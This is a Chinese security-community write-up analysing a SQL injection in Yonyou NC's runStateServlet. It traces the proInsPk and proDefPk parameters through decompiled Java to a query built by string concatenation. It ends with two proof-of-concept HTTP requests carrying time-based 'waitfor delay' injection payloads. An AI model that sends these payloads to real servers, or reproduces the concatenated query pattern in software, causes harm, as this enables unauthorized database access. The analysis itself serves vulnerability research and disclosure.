用友NC runStateServlet注入漏洞分析
漏洞分析
用友NC runStateServlet注入漏洞分析
runStateServlet sql注入漏洞 ----------------------- 代码路径:C:\\yonyou\\home\\modules\\webimp\\lib\\pubwebimp\_cpwfmLevel-1\\nc\\uap\\wfm\\action\\RunStateServlet.java  ```java /* * Decompiled with CFR 0.152. * * Could not load the following classes: * nc.uap.lfw.core.exception.LfwRuntimeException * nc.uap.lfw.servletplus.annotation.Action * nc.uap.lfw.servletplus.annotation.Servlet * nc.uap.wfm.logger.WfmLogger * nc.vo.jcom.xml.XMLUtil * org.apache.commons.lang.StringUtils */ package nc.uap.wfm.action; import java.io.IOException; import java.io.PrintWriter; import java.io.Writer; import nc.uap.lfw.core.exception.LfwRuntimeException; import nc.uap.lfw.servletplus.annotation.Action; import nc.uap.lfw.servletplus.annotation.Servlet; import nc.uap.wfm.action.WfBaseServlet; import nc.uap.wfm.logger.WfmLogger; import nc.uap.wfm.render.FlowImgRender; import nc.vo.jcom.xml.XMLUtil; import org.apache.commons.lang.StringUtils; import org.w3c.dom.Node; @Servlet(path="/servlet/runStateServlet") public class RunStateServlet extends WfBaseServlet { private static final long serialVersionUID = -8356983652899198379L; @Action(method="POST") public void doPost() { this.response.setCharacterEncoding("utf-8"); this.response.setContentType("text/html"); PrintWriter out = null; try { out = this.response.getWriter(); } catch (IOException e) { WfmLogger.error((String)e.getMessage(), (Throwable)e); throw new LfwRuntimeException(e.getMessage()); } String proInsPk = this.request.getParameter("proInsPk"); String prodefPk = this.request.getParameter("proDefPk"); if (StringUtils.isNotBlank((String)proInsPk) && !"null".equals(proInsPk) || StringUtils.isNotBlank((String)prodefPk) && !"null".equals(prodefPk)) { XMLUtil.printDOMTree((Writer)out, (Node)FlowImgRender.getRenderProcessXml(proInsPk, prodefPk), (int)0, (String)"UTF-8"); boolean i = false; } else { out.println(); } } } ``` 从代码中看,proInsPk和proDefPk参数,都进入了getRenderProcessXml方法 ```java //展示一部代码 public static Document getRenderProcessXml(String rootProInsPk, String prodefPk) { Map<String, Map<String, String>> taskTipMap = getTaskTipMap(rootProInsPk); List<Route> routeList = new ArrayList(); List<Node> nodeList = new ArrayList(); setNodeListAndRoutList(nodeList, routeList, taskTipMap, rootProInsPk); Element xmlNode = null; Route route = null; Node node = null; Document doc = XMLUtil.getNewDocument(); Element root = doc.createElement("Elements"); doc.appendChild(root); int size = nodeList.size(); Set<String> idSets = new HashSet(); for(int i = 0; i < size; ++i) { xmlNode = doc.createElement("Node"); node = (Node)nodeList.get(i); idSets.add(node.getId()); xmlNode.setAttribute("id", node.getId()); xmlNode.setAttribute("pid", node.getPid()); xmlNode.setAttribute("isPending", String.valueOf(node.isNotPending())); xmlNode.setAttribute("isExe", String.valueOf(node.isNotExe())); xmlNode.setAttribute("isPas", String.valueOf(node.isNotPas())); xmlNode.setAttribute("isStop", String.valueOf(node.isNotStop())); xmlNode.setAttribute("isCntNode", String.valueOf(node.isNotCntNode())); xmlNode.setAttribute("isAddSign", String.valueOf(node.isNotAddSign())); xmlNode.setAttribute("isBack", String.valueOf(node.isNotReject())); xmlNode.setAttribute("tooltip", node.getTooltip()); root.appendChild(xmlNode); } ProIns proIns = null; ProDef prodef = null; if (StringUtils.isNotBlank(rootProInsPk) && !"null".equals(rootProInsPk)) { proIns = (ProIns)WfmProinsUtil.getProInsByProInsPk(rootProInsPk); prodef = proIns.getProDef(); } else if (StringUtils.isNotBlank(prodefPk) && !"null".equals(prodefPk)) { prodef = (ProDef)WfmProDefUtil.getProDefByProDefPk(prodefPk); } ```  proInsPk和proDefPk参数 接着传入了 proIns = (ProIns)WfmProinsUtil.getProInsByProInsPk(rootProInsPk); prodef = (ProDef)WfmProDefUtil.getProDefByProDefPk(prodefPk) #### getProInsByProInsPk proInsPk参数注入  `getProInsByProInsPk` 该方法为`WfmProinsUtil`类中实现的 并将参数传入 `WfmEngineUIAdapterFactory.getInstance().getProInsByProinsPk(proInsPk)` 方法中 跟踪`getProInsByProinsPk`  发现定义`getProInsByProinsPk`方法的接口类`IWfmEngineUIAdapter` 搜索`getProInsByProinsPk`方法的实现类 在`WfmCpEngineUIAdapter`类中引用了`IWfmEngineUIAdapter`接口类   接着跟踪`getProInsByPk` `proIns = WfmServiceFacility.getProInsQry().getProInsByPk(proInsPk);`  在WfmProInsQry类中实现了getProInsByPk 方法  WfmProInsVO proInsVO = this.getProInsVOByPk(proInsPk); 接着跟进getProInsVOByPk 方法  将参数传入数据库中查询,并且proInsPk参数可控,造成sql注入漏洞 #### getProDefByProDefPk proDefPk参数注入 跟进 方法 getProDefByProDefPk   发现定义`getProDefByProDefPk`方法的接口类`IWfmEngineUIAdapter` 搜索`getProDefByProDefPk`方法的实现类 在`WfmCpEngineUIAdapter`类中引用了`IWfmEngineUIAdapter`接口类  接着跟进 ProDefsContainer.getByProDefPkAndId((String)prodefPk)   接着跟 getProDefVOByProDefPk 方法  在WfmProDefQry类中实现了getProDefVOByProDefPk 方法 ```java public WfmProdefVO getProDefVOByProDefPk(String proDefPk) throws WfmServiceException { PtBaseDAO dao = new PtBaseDAO(); SuperVO[] superVos = null; try { superVos = dao.queryByCondition(WfmProdefVO.class, "pk_prodef='" + proDefPk + "'"); } catch (DAOException e) { WfmLogger.error((String)e.getMessage(), (Throwable)e); throw new LfwRuntimeException(e.getMessage()); } if (superVos == null || superVos.length == 0) { return null; } return (WfmProdefVO)superVos[0]; } ```  在代码中看到直接拼接了字符串proDefPk 造成sql注入漏洞 ### proInsPk参数 ```php GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proInsPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1 Host: 192.168.63.129:8088 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 19 ``` ### proDefPk参数 ```php GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1 Host: 192.168.63.129:8088 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Length: 19 ```   文章首发个人公众号
发表于 2024-05-06 10:00:00
阅读 ( 15461 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
webqs
3 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!